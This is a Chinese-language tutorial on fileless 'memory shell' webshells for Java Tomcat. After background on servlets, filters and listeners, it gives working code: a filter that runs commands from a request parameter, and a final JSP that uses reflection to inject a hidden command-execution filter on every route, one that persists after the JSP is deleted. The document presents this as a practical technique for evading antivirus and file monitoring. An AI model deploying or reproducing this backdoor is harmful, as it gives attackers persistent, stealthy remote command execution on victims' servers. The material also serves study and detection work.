深入淺出內存馬(一)
0x01 簡述
0x0101 Webshell技術歷程
在Web安全領域,Webshell一直是一個非常重要且熱門的話題。在目前傳統安全領域,Webshell根據功能的不同分為三種類型,分別是:一句話木馬,小馬,大馬。而根據現在防火牆技術的更新迭代,隨后出現了加密的木馬技術,比如:加密一句話。而我們今天要說的是一種新的無文件的Webshell類型:內存馬。
0x0102 為什么會使用內存馬?
傳統Webshell連接方式,都是先通過某種漏洞將惡意的腳本木馬文件上傳,然后通過中國菜刀,或者蟻劍,冰蠍等Webshell管理軟件進行鏈接。
這種方式目前仍然流行,但是由於近幾年防火牆,IDS,IPS,流量分析等各種安全設備的普及和更新,這種連接方式非常容易被設備捕獲攔截,而且由於文件是明文存放在服務器端,所以又很容易被殺毒軟件所查殺。在今天看來這種傳統連接方式顯然已經過時,於是乎,進化了一系列的加密一句話木馬,但是這種方式還是不能繞過有類似文件監控的殺毒軟件,於是乎進化了新一代的Webshell---》內存馬
0x03 什么是內存馬
內存馬是無文件Webshell,什么是無文件webshell呢?簡單來說,就是服務器上不會存在需要鏈接的webshell腳本文件。那有的同學可能會問了?這種方式為什么能鏈接呢?內存馬的原理就像是MVC架構,即通過路由訪問控制器,我通過自身的理解,概述的說一下, 內存馬的原理就是在web組件或者應用程序中,注冊一層訪問路由,訪問者通過這層路由,來執行我們控制器中的代碼
0x03 內存馬的類型
目前分為兩種:
-
Servlet-API型
通過命令執行等方式動態注冊一個新的listener、filter或者servlet,從而實現命令執行等功能。特定框架、容器的內存馬原理與此類似,如spring的controller內存馬,tomcat的valve內存馬- filter型
- servlet型
-
字節碼增強型
通過java的instrumentation動態修改已有代碼,進而實現命令執行等功能。
-
spring類
- 攔截器
- Controller型
0x02 內存馬的原理
我們以Java Web舉例,在Java Web中有三大組件分別是Servlet, Filter,Listener
Servlet
Servlet 是運行在 Web 服務器或應用服務器上的程序,它是作為來自 HTTP 客戶端的請求和 HTTP 服務器上的數據庫或應用程序之間的中間層。它負責處理用戶的請求,並根據請求生成相應的返回信息提供給用戶。
Servlet程序是由WEB服務器調用,web服務器收到客戶端的Servlet訪問請求后:
- Web服務器首先檢查是否已經裝載並創建了該Servlet的實例對象。如果是,則直接執行第4步,否則,執行第2步。
- 裝載並創建該Servlet的一個實例對象。
- 調用Servlet實例對象的init()方法。
- 創建一個用於封裝HTTP請求消息的HttpServletRequest對象和一個代表HTTP響應消息的HttpServletResponse對象,然后調用Servlet的service()方法並將請求和響應對象作為參數傳遞進去。
- WEB應用程序被停止或重新啟動之前,Servlet引擎將卸載Servlet,並在卸載之前調用Servlet的destroy()方法。
Filter
Filter譯為過濾器。過濾器實際上就是對web資源進行攔截,做一些處理后再交給下一個過濾器或servlet處理,通常都是用來攔截request進行處理的,也可以對返回的response進行攔截處理。
web服務器根據Filter在web.xml文件中的注冊順序,決定先調用哪個Filter,當第一個Filter的doFilter方法被調用時,web服務器會創建一個代表Filter鏈的FilterChain對象傳遞給該方法。在doFilter方法中,開發人員如果調用了FilterChain對象的doFilter方法,則web服務器會檢查FilterChain對象中是否還有filter,如果有,則調用第2個filter,如果沒有,則調用目標資源。
生命周期
public void init(FilterConfig filterConfig) throws ServletException;//初始化
和我們編寫的Servlet程序一樣,Filter的創建和銷毀由WEB服務器負責。 web 應用程序啟動時,web 服務器將創建Filter 的實例對象,並調用其init方法,讀取web.xml配置,完成對象的初始化功能,從而為后續的用戶請求作好攔截的准備工作(filter對象只會創建一次,init方法也只會執行一次)。開發人員通過init方法的參數,可獲得代表當前filter配置信息的FilterConfig對象。
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException;//攔截請求
這個方法完成實際的過濾操作。當客戶請求訪問與過濾器關聯的URL的時候,Servlet過濾器將先執行doFilter方法。FilterChain參數用於訪問后續過濾器。
public void destroy();//銷毀
Filter對象創建后會駐留在內存,當web應用移除或服務器停止時才銷毀。在Web容器卸載 Filter 對象之前被調用。該方法在Filter的生命周期中僅執行一次。在這個方法中,可以釋放過濾器使用的資源。
Listener
監聽器用於監聽Web應用中某些對象的創建、銷毀、增加,修改,刪除等動作的發生,然后作出相應的響應處理。當監聽范圍的對象的狀態發生變化的時候,服務器自動調用監聽器對象中的方法。常用於統計網站在線人數、系統加載時進行信息初始化、統計網站的訪問量等等。
主要由三部分構成:
- 事件源:被監聽的對象
- 監聽器:監聽的對象,事件源的變化會觸發監聽器的響應行為
- 響應行為:監聽器監聽到事件源的狀態變化時所執行的動作
在初始化時,需要將事件源和監聽器進行綁定,也就是注冊監聽器。
可以使用監聽器監聽客戶端的請求、服務端的操作等。通過監聽器,可以自動出發一些動作,比如監聽在線的用戶數量,統計網站訪問量、網站訪問監控等。
Tomcat
在 Tomcat 中,每個 Host 下可以有多個 Context (Context 是 Host 的子容器), 每個 Context 都代表一個具體的Web應用,都有一個唯一的路徑就相當於下圖中的 /shop /manager 這種,在一個 Context 下可以有着多個 Wrapper
Wrapper 主要負責管理 Servlet ,包括的 Servlet 的裝載、初始化、執行以及資源回收
0x03 Tomcat Filter注入流程
通過上面的介紹,我們已經大致了解內存馬的背景知識,現在我們來講解Tomcat Filter類型的內存馬,看看這種流程是什么樣子的?
0x0301Tomcat Filter簡單案例
新建filter
package com.evalshell.Filter;
import javax.servlet.*;
import java.io.IOException;
public class MyFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("Filter 創建");
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("執行過濾過程");
filterChain.doFilter(servletRequest, servletResponse);
}
@Override
public void destroy() {
System.out.println("銷毀!");
}
}
Web.xml配置
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<servlet>
<servlet-name>HelloServlet</servlet-name>
<servlet-class>com.evalshell.Servlet.HelloServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>HelloServlet</servlet-name>
<url-pattern>/hello</url-pattern>
</servlet-mapping>
<filter>
<filter-name>MyFilter</filter-name>
<filter-class>com.evalshell.Filter.MyFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>MyFilter</filter-name>
<url-pattern>/hello</url-pattern>
</filter-mapping>
</web-app>
就是我們創建一個servlet和一個filter 訪問路由都是為/hello
。看下結果:
控制台輸出
我們簡單調試一下
對應Web.xml中的配置信息,這種方式就是為靜態的添加filter的方式,filter實現分為靜態和動態,靜態就是上述中,普通配置在web.xml或者通過@注釋配置在類中的。
關於整個Filter的調用鏈 可以參考:https://mp.weixin.qq.com/s/YhiOHWnqXVqvLNH7XSxC9w, 這個不是我們主要講述的重點。
Filter調用鏈,可以引用寬字節安全總結的一張圖來說明:
0x04 Filter型內存馬注入
0x0401 動態創建Filter
我們調試一下filterChain.doFilter() 方法,啟動服務,然后訪問/hello
即可調試:
繼續跟進,可以看到doFilter()
的具體處理過程是在internalDoFilter()
然后最后調用service()
方法去調用這個filter里面的內容
概述地說, FilterChain.doFilter()
方法將調用下一個 Filter.doFilter() 方法;最后一個 Filter.doFilter()
方法中調用的FilterChain.doFilter()
方法將調用目標 Servlet.service()
方法。
0x0402 一個簡單Filter內存馬案例
上面的描述總結下來就是如何在tomcat中動態的注入一條配置項和代碼,拿filter類型舉例子,那么我們如何創建一個Filter類型的內存馬呢?
- 首先創建一個惡意Filter
- 利用 FilterDef 對 Filter 進行一個封裝
- 將 FilterDef 添加到 FilterDefs 和 FilterConfig
- 創建 FilterMap ,將我們的 Filter 和 urlpattern 相對應,存放到 filterMaps中(由於 Filter 生效會有一個先后順序,所以我們一般都是放在最前面,讓我們的 Filter 最先觸發)
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
// ApplicationContext 為 ServletContext 的實現類
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
// 這樣我們就獲取到了 context
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
每次請求createFilterChain都會依據此動態生成一個過濾鏈,而StandardContext又會一直保留到Tomcat生命周期結束,所以我們的內存馬就可以一直駐留下去,直到Tomcat重啟。
好的 那我們首先來編寫一個filter的惡意類
package com.evalshell.Filter;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.io.InputStream;
import java.util.Scanner;
public class MyFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("Filter 創建");
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("執行過濾過程");
//測試只考慮linux環境下
HttpServletRequest request = (HttpServletRequest) servletRequest;
if (request.getParameter("c") != null){
String[] command = new String[]{"sh", "-c", request.getParameter("c")};
InputStream inputStream = Runtime.getRuntime().exec(command).getInputStream();
Scanner scanner = new Scanner(inputStream).useDelimiter("\\a");
String output = scanner.hasNext() ? scanner.next() : "";
servletResponse.getWriter().write(output);
servletResponse.getWriter().flush();
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}
@Override
public void destroy() {
System.out.println("銷毀!");
}
}
運行效果:
可以看到這個就是在tomcat中沒有任何shell文件,但是在過濾器中執行了我們的代碼。
0x0402 最終實戰
那么真實情況下,我們不可能直接修改項目中Filter的源碼,因為就算修改了,想要生效也需要重啟。所以我們需要動態的插入filter,那我們該如何操作呢?
最終代碼如下:
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%
final String name = "fengxuan";
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
if (filterConfigs.get(name) == null){
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
//這里寫上我們后門的主要代碼
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null){
byte[] bytes = new byte[1024];
Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();
int len = process.getInputStream().read(bytes);
servletResponse.getWriter().write(new String(bytes,0,len));
process.destroy();
return;
}
//別忘記帶這個,不然的話其他的過濾器可能無法使用
filterChain.doFilter(servletRequest,servletResponse);
}
@Override
public void destroy() {
}
};
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
// 將filterDef添加到filterDefs中
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
//攔截的路由規則,/* 表示攔截任意路由
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name,filterConfig);
out.print("注入成功");
}
%>
訪問這個頁面
最后直接訪問任意Servlet路由都可以執行命令
即使刪除我們的注入文件filterdemo1.jsp
也是一樣可以執行,這樣就可以達到無文件的Webshell管理方式了。
0x05 參考鏈接
http://wjlshare.com/archives/1529#0x01_Tomcat
https://www.freebuf.com/articles/web/274466.html
更多優質文章請到風炫安全知識庫:https://evalshell.com/